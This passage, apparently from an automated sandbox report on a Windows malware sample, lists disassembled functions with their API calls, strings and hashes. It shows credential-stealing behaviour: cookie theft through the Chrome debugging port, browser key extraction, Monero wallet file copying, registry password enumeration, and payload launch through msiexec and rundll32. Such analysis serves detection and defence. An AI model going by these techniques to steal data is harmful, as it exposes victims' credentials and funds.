                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExecuteShell$lstrcpy
                                    • String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
                                    • API String ID: 2507796910-3625054190
                                    • Opcode ID: 618a652d77efabede746762b2e095b430d0fa7c696a9a22f213118287deb8a7e
                                    • Instruction ID: 372932fa816a5b52e6c27f03e8e398470b314563b3634e45a80281cb0875d5a4
                                    • Opcode Fuzzy Hash: 618a652d77efabede746762b2e095b430d0fa7c696a9a22f213118287deb8a7e
                                    • Instruction Fuzzy Hash: 12120C72D101889FCB14EBA1DDA2FEDB739AF24300F1145A9E10666192EF353B49DF62
                                    Function 00CD9BE0 Relevance: 19.6, APIs: 8, Strings: 5, Instructions: 146stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CD9A50: InternetOpenA.WININET(00CF0AF6,00000001,00000000,00000000,00000000), ref: 00CD9A6A
                                    • lstrcat.KERNEL32(?,cookies), ref: 00CD9CAF
                                    • lstrcat.KERNEL32(?,00CF12C4), ref: 00CD9CC1
                                    • lstrcat.KERNEL32(?,?), ref: 00CD9CD5
                                    • lstrcat.KERNEL32(?,00CF12C8), ref: 00CD9CE7
                                    • lstrcat.KERNEL32(?,?), ref: 00CD9CFB
                                    • lstrcat.KERNEL32(?,.txt), ref: 00CD9D0D
                                    • lstrlen.KERNEL32(00000000), ref: 00CD9D17
                                    • lstrlen.KERNEL32(00000000), ref: 00CD9D26
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$lstrlen$InternetOpenlstrcpy
                                    • String ID: .txt$/devtools$cookies$localhost$ws://localhost:9229
                                    • API String ID: 3174675846-3542011879
                                    • Opcode ID: b298e41e9f65098bccb439a3afe82e3ce8cb9e6c1f71cb625a396a0dac7b7283
                                    • Instruction ID: b663a9ce6d9c8f7224be712edc04f06073bac4dfd9c61264a9597bf0c5f4b1e6
                                    • Opcode Fuzzy Hash: b298e41e9f65098bccb439a3afe82e3ce8cb9e6c1f71cb625a396a0dac7b7283
                                    • Instruction Fuzzy Hash: 575181B2D10608ABCB14EBE0DC95FEE7378AF05301F404558F60AA7191EF74AA49DF61
                                    Function 00CE5510 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CD62D0: InternetOpenA.WININET(00CF0DFF,00000001,00000000,00000000,00000000), ref: 00CD6331
                                      • Part of subcall function 00CD62D0: StrCmpCA.SHLWAPI(?,0159E410), ref: 00CD6353
                                      • Part of subcall function 00CD62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00CD6385
                                      • Part of subcall function 00CD62D0: HttpOpenRequestA.WININET(00000000,GET,?,0159D9F8,00000000,00000000,00400100,00000000), ref: 00CD63D5
                                      • Part of subcall function 00CD62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00CD640F
                                      • Part of subcall function 00CD62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00CD6421
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                    • StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00CE5568
                                    • lstrlen.KERNEL32(00000000), ref: 00CE557F
                                      • Part of subcall function 00CE8FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00CE8FE2
                                    • StrStrA.SHLWAPI(00000000,00000000), ref: 00CE55B4
                                    • lstrlen.KERNEL32(00000000), ref: 00CE55D3
                                    • lstrlen.KERNEL32(00000000), ref: 00CE55FE
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
                                    • String ID: ERROR$ERROR$ERROR$ERROR$ERROR
                                    • API String ID: 3240024479-1526165396
                                    • Opcode ID: 280ef149cbc4fbb151f7c08c4974c2ce89dbc44e9574a382b56c7cfd4c806ca2
                                    • Instruction ID: 49ae5dbdc2e2f9eb807ae8799bd2a6534dd50cc9bf630514bef779ba16e5ffc0
                                    • Opcode Fuzzy Hash: 280ef149cbc4fbb151f7c08c4974c2ce89dbc44e9574a382b56c7cfd4c806ca2
                                    • Instruction Fuzzy Hash: B651F871910188AFCB14FFA1CDA6AED7779AF20340F514468F90A57592EF307B05EB62
                                    Function 00CE1520 Relevance: 16.8, APIs: 11, Instructions: 310COMMON
                                    Download Yara Rule
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcpylstrlen
                                    • String ID:
                                    • API String ID: 2001356338-0
                                    • Opcode ID: 6da6bf33039fea6a4bbb9a8a4df07e87ddd1e03dc8d10c57fedcb00b9dec3772
                                    • Instruction ID: f2336381a2821a1b594c1d212976b7635324d94e0f7bcafc234cc6672d7bcd38
                                    • Opcode Fuzzy Hash: 6da6bf33039fea6a4bbb9a8a4df07e87ddd1e03dc8d10c57fedcb00b9dec3772
                                    • Instruction Fuzzy Hash: 3DC191B6D002199BCF14EF61DC9AFEE7379AF54304F044598F409A7282EA70BA85DF91
                                    Function 00CE44D0 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CE8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CE8F9B
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE453C
                                    • lstrcat.KERNEL32(?,0159DFB0), ref: 00CE455B
                                    • lstrcat.KERNEL32(?,?), ref: 00CE456F
                                    • lstrcat.KERNEL32(?,0159CB80), ref: 00CE4583
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CE8F20: GetFileAttributesA.KERNEL32(00000000,?,00CD1B94,?,?,00CF577C,?,?,00CF0E22), ref: 00CE8F2F
                                      • Part of subcall function 00CDA430: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00CDA489
                                      • Part of subcall function 00CDA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                      • Part of subcall function 00CDA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                      • Part of subcall function 00CDA110: LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                      • Part of subcall function 00CDA110: ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                      • Part of subcall function 00CDA110: LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                      • Part of subcall function 00CDA110: CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                      • Part of subcall function 00CE9550: GlobalAlloc.KERNEL32(00000000,00CE462D,00CE462D), ref: 00CE9563
                                    • StrStrA.SHLWAPI(?,0159DE30), ref: 00CE4643
                                    • GlobalFree.KERNEL32(?), ref: 00CE4762
                                      • Part of subcall function 00CDA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA23F
                                      • Part of subcall function 00CDA210: LocalAlloc.KERNEL32(00000040,?,?,?,00CD4F3E,00000000,?), ref: 00CDA251
                                      • Part of subcall function 00CDA210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00CD4F3E,00000000,00000000), ref: 00CDA27A
                                      • Part of subcall function 00CDA210: LocalFree.KERNEL32(?,?,?,?,00CD4F3E,00000000,?), ref: 00CDA28F
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CE46F3
                                    • StrCmpCA.SHLWAPI(?,00CF08D2), ref: 00CE4710
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00CE4722
                                    • lstrcat.KERNEL32(00000000,?), ref: 00CE4735
                                    • lstrcat.KERNEL32(00000000,00CF0FA0), ref: 00CE4744
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
                                    • String ID:
                                    • API String ID: 3541710228-0
                                    • Opcode ID: 4d07b10307afd06d8eac9b4a54be72928a7633f45f2c06e0375a78512af26df0
                                    • Instruction ID: c7d0302868105ebc3f0f759941190020d709295804c3ec9747e656aacd515ed6
                                    • Opcode Fuzzy Hash: 4d07b10307afd06d8eac9b4a54be72928a7633f45f2c06e0375a78512af26df0
                                    • Instruction Fuzzy Hash: EA7146B6D00208ABDB14EBA0DD95FEE7779AB89300F044598F60997181EB35EB48DF91
                                    Function 00CD1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CD12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00CD12B4
                                      • Part of subcall function 00CD12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00CD12BB
                                      • Part of subcall function 00CD12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00CD12D7
                                      • Part of subcall function 00CD12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00CD12F5
                                      • Part of subcall function 00CD12A0: RegCloseKey.ADVAPI32(?), ref: 00CD12FF
                                    • lstrcat.KERNEL32(?,00000000), ref: 00CD134F
                                    • lstrlen.KERNEL32(?), ref: 00CD135C
                                    • lstrcat.KERNEL32(?,.keys), ref: 00CD1377
                                      • Part of subcall function 00CEAA50: lstrcpy.KERNEL32(00CF0E1A,00000000), ref: 00CEAA98
                                      • Part of subcall function 00CEACC0: lstrlen.KERNEL32(?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CEACD5
                                      • Part of subcall function 00CEACC0: lstrcpy.KERNEL32(00000000), ref: 00CEAD14
                                      • Part of subcall function 00CEACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00CEAD22
                                      • Part of subcall function 00CEABB0: lstrcpy.KERNEL32(?,00CF0E1A), ref: 00CEAC15
                                      • Part of subcall function 00CE8CF0: GetSystemTime.KERNEL32(00CF0E1B,01599BB8,00CF05B6,?,?,00CD13F9,?,0000001A,00CF0E1B,00000000,?,01598830,?,\Monero\wallet.keys,00CF0E1A), ref: 00CE8D16
                                      • Part of subcall function 00CEAC30: lstrcpy.KERNEL32(00000000,?), ref: 00CEAC82
                                      • Part of subcall function 00CEAC30: lstrcat.KERNEL32(00000000), ref: 00CEAC92
                                    • CopyFileA.KERNEL32(?,00000000,00000001), ref: 00CD1465
                                      • Part of subcall function 00CEAAB0: lstrcpy.KERNEL32(?,00000000), ref: 00CEAAF6
                                      • Part of subcall function 00CDA110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CDA13C
                                      • Part of subcall function 00CDA110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00CDA161
                                      • Part of subcall function 00CDA110: LocalAlloc.KERNEL32(00000040,?), ref: 00CDA181
                                      • Part of subcall function 00CDA110: ReadFile.KERNEL32(000000FF,?,00000000,00CD148F,00000000), ref: 00CDA1AA
                                      • Part of subcall function 00CDA110: LocalFree.KERNEL32(00CD148F), ref: 00CDA1E0
                                      • Part of subcall function 00CDA110: CloseHandle.KERNEL32(000000FF), ref: 00CDA1EA
                                    • DeleteFileA.KERNEL32(00000000), ref: 00CD14EF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
                                    • String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
                                    • API String ID: 3478931302-218353709
                                    • Opcode ID: deef7b134584d48865e71a752fa6bf131b432e222b3636658dc0b485301b85e3
                                    • Instruction ID: 398c4641b2217e50db4aa1114c349e5b87ab710404075e466a719d27d5ca7cc9
                                    • Opcode Fuzzy Hash: deef7b134584d48865e71a752fa6bf131b432e222b3636658dc0b485301b85e3
                                    • Instruction Fuzzy Hash: 8D5143B2D502589BCB15FB60DDA2FED737C9B54300F4145E8B70A62092EE306B89DF66
                                    Function 00CD9A50 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 107networkCOMMON
                                    Download Yara Rule
                                    APIs
                                    • InternetOpenA.WININET(00CF0AF6,00000001,00000000,00000000,00000000), ref: 00CD9A6A
                                    • InternetOpenUrlA.WININET(00000000,http://localhost:9229/json,00000000,00000000,80000000,00000000), ref: 00CD9AAB
                                    • InternetCloseHandle.WININET(00000000), ref: 00CD9AC7
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$Open$CloseHandle
                                    • String ID: "webSocketDebuggerUrl":$"ws://$http://localhost:9229/json
                                    • API String ID: 3289985339-2144369209
                                    • Opcode ID: 4a53a08a34a2ac1249bf7e50d8d164ffa5a4ffc808eec946ca56db3e1bbfeacf
                                    • Instruction ID: daa0fe70c153bea9440a3a583f3b3ae90108851ce4c32ac7eb2f43a6dca91a18
                                    • Opcode Fuzzy Hash: 4a53a08a34a2ac1249bf7e50d8d164ffa5a4ffc808eec946ca56db3e1bbfeacf
                                    • Instruction Fuzzy Hash: 88411E75A1025CEBCB14EFA4CC95FED77B4EB48740F204155F609A7290DBB0AE84DB61
                                    Function 00CD7630 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON
                                    Download Yara Rule
                                    APIs
                                      • Part of subcall function 00CD7330: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 00CD739A
                                      • Part of subcall function 00CD7330: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00CD7411
                                      • Part of subcall function 00CD7330: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00CD746D
                                      • Part of subcall function 00CD7330: GetProcessHeap.KERNEL32(00000000,?), ref: 00CD74B2
                                      • Part of subcall function 00CD7330: HeapFree.KERNEL32(00000000), ref: 00CD74B9
                                    • lstrcat.KERNEL32(00000000,00CF192C), ref: 00CD7666
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00CD76A8
                                    • lstrcat.KERNEL32(00000000, : ), ref: 00CD76BA
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00CD76EF
                                    • lstrcat.KERNEL32(00000000,00CF1934), ref: 00CD7700
                                    • lstrcat.KERNEL32(00000000,00000000), ref: 00CD7733
                                    • lstrcat.KERNEL32(00000000,00CF1938), ref: 00CD774D
                                    • task.LIBCPMTD ref: 00CD775B
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
                                    • String ID: :
                                    • API String ID: 2677904052-3653984579
                                    • Opcode ID: 649adc5f9e659081a8930712f824af0910673a953a9da3be49a0c2f99655f92c
                                    • Instruction ID: 99fd5af827221522c8f8b2f868b011898d245646de1704fe62a3c0567c7903a9
                                    • Opcode Fuzzy Hash: 649adc5f9e659081a8930712f824af0910673a953a9da3be49a0c2f99655f92c
                                    • Instruction Fuzzy Hash: 5D3161B2E0420DDBDB04EBA0DC95DFF7379AB45301B504219F202A33A1DB74A94AEF91
                                    Function 00CE8290 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON
                                    Download Yara Rule
                                    APIs
                                    • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0159DBA8,00000000,?,00CF0E14,00000000,?,00000000), ref: 00CE82C0
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CE82C7
                                    • GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00CE82E8
                                    • __aulldiv.LIBCMT ref: 00CE8302
                                    • __aulldiv.LIBCMT ref: 00CE8310
                                    • wsprintfA.USER32 ref: 00CE833C
                                    Strings
                                    Memory Dump Source
